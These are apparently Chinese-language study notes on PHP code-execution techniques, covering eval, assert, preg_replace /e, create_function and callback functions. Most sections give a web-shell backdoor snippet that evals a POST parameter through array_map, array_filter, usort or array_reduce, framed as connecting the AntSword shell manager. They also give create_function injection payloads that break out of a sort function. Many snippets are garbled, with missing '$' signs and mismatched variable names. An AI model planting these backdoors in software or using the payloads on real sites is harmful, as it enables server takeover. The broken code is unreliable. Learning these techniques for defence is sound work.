代码执行
一、原理
本质上是将php代码交给php解析器去执行
二、常见函数
1. eval
语言构造器 ,并不是一个函数,不能被可变函数调用
2. assert
断言
(1) 概念
断言 (编程术语)
断言是编程术语,表示为一些布尔表达式,程序员相信在程序中的某个特定点该表达式值为真,可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言而在部署时禁用断言。同样,程序投入运行后,最终用户在遇到问题时可以重新启用断言。
使用断言可以创建更稳定、品质更好且 不易于出错的代码。当需要在一个值为FALSE时中断当前操作的话,可以使用断言。单元测试必须使用断言(Junit/JunitX)。
assert 必须接收一个有返回值的表达式,判断表达式返回的值为true还是false
(2) 如何判断表达式是否是一个有返回值的表达式?
直接将表达式赋值给变量,不报错的就是有返回值的表达式
报错的就是没有返回值的表达式
举例:
$a = phpinfo(); //不报错 有返回值的表达式
$a = echo 12345; //报错 没有返回值的表达式
echo 12345; 这种不是返回值的表达式无法用assert 解析
如果想用这种形式输出,再加个eval,例如?1=eval(‘echo 12345’); 这样就可以用assert输出12345
(3) eval和assert的区别
区别一:
eval 并不是一个函数,它是语言构造器 不能被可变函数调用
assert可以被可变函数调用
$a = 'assert';
$b(phpinfo());
区别二:
assert 必须接收一个有返回值的表达式,也就是说得传个函数,return,有返回值这种
而eval不需要,直接传php表达式代码即可
(4) 可变变量原理
${}代表可变变量的使用,其中{}的代码会被优先执行
使用前提:
(1) 单引号内不可以使用
(2) php版本5.5及以上
可变变量举例:
$a = 'bihuo';
$bihuo = 'nihao';
$nihao = '2022_11_3';
echo ${${$a}};
3. preg_replace
正则替换函数
格式:
a = _GET['a'];
preg_replace('/test/e',$a,"just test!");
使用preg_replace函数进行代码执行的四个条件:
1. 必须有模式修饰符号e,代表可执行代码
2 php的版本必须<=5.6
2. 必须可以在第三个参数匹配到正则的表达式
3. 第二个参数必须直接或间接可控
4. create_function
创建一个匿名函数
lambda表达式是一个匿名函数
函数加上删除线就是deprecated 被废弃的,不建议使用,但还可以用
报错就是 removed 被移除的,不能使用
create_function() 接收两个参数
1. 匿名函数的形参
2. 匿名函数的函数体
<?php
$func = @create_function('$num1,$num2','return $num1+$num2;');
echo $func(20,30);
<?php
//题目:
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
$func = create_function('$a,$b', $sort_function);
$func(1,$sort_by);
//解析
$func = function($a,$b) {
// return 1 * strnatcasecmp($a["bihuo15"], $b["bihuo15"]);
return 1 * strnatcasecmp($a[" ${phpinfo()} "], $b["${phpinfo()}"]);
return 1 * strnatcasecmp($a["1"].eval($_POST[12345]).["1"], $b["1"].eval($_POST[12345]).["1"]);
return 1 * strnatcasecmp($a["1"].eval($_POST[12345]));};//"], $b["1"].eval($_POST[12345]));};//"]);
};
//$func(1,'bihuo15');
$func(1,'${phpinfo()}'); //方法一 可变变量
$func(1,'1"].eval($_POST[12345]).["1'); //方法二 闭合
//如果说要注释create_function的函数体,则需要注意};的保留 因为在create_fucntion()函数中,匿名函数默认是写在一行的 function(){};
$func(1,'1"].eval($_POST[12345]));};//'); //方法三 闭合加注释
5. usort
用户自定义排序函数(引用传值)
引用函数: 关键字&
<?php
function add_self(&$num){
++$num;
}
$a = 100;
add_self($a);
echo $a;//100
<?php
$arr = array(1,$_POST[12345]);
usort($arr,function($num1,$num2){
@assert($num1);
@assert($num2);
});
var_dump($arr);
6. uasort
用户自定义排序函数,保留原数组中key的值
<?php
arr = array(' '.{eval($_POST[12345])}.' '=>1,'num2'=>2);
uasort(arr,function(num1,$num2){
return num1-num2;
});
var_dump($arr);
7. array_map
将数组中的每一个元素经过$callback处理之后形成新的数组
取出数组中的每一个值,使用给定的函数执行,并将最终结果返回
(1) 举例: 数组中的每个值乘以15,生成新数组
<?php
$arr = array(1,2,3,4,5,6);
res = array_map(function(v){
return 15*$v;
},$arr);
var_dump($res);
(2) 举例: 使用array_map连接蚁剑
<?php
arr = array(_POST[12345]);
res = array_map(function(v){
eval($v);
},$arr);
var_dump($res);
8. array_filter
将数组中的每一个元素经过$callback 根据返回结果为true形成新的数组
(1) 举例: 将能被三整除的数字集合到一个数组
<?php
$arr = array(1,3,77,189,111);
function is_divided_by(num,div_num){
return (num % div_num) == 0;
}
res = array_filter(arr,function($v){
return is_divided_by($v,3);
});
var_dump($res);
(2) 举例: 使用array_filter连接蚁剑
<?php
arr = array(_POST[12345]);
res = array_filter(arr,function($v){
@eval($v);
});
var_dump($res);
9. array_reduce
递归式的调用上一次的结果和当前成员交给$callback处理
当需要将数组中的每一个值都参与到特定的运算中的时候,使用此函数
(1) 举例: 数组中所有数的乘积
<?php
$arr =array(1,2,3,-4,5,10,23,12);
res=array_reduce(arr,function(num1,num2){
return num1*num2;
},1);
echo $res;
(2) 举例: 数组中所有数的总和
<?php
$arr =array(1,2,3,-4,5,10,23,12);
res=array_reduce(arr,function(num1,num2){
return num1+num2;
},0);
echo $res;
(3) 举例: 使用array_reduce连接蚁剑
<?php
arr =array(1,_POST[12345]);
res = array_reduce(arr,function(num1,num2){
@assert($num1);
@assert($num2);
},1);
echo $res;
10. call_user_func
调用用户自定义函数
<?php
//call_user_func('assert','phpinfo()');
call_user_func(_GET[1],_GET[2]);
11. call_user_func_array
此时调用自定义函数的参数以数组的形式传递
<?php
call_user_func_array(_GET[1],array(_GET[2]));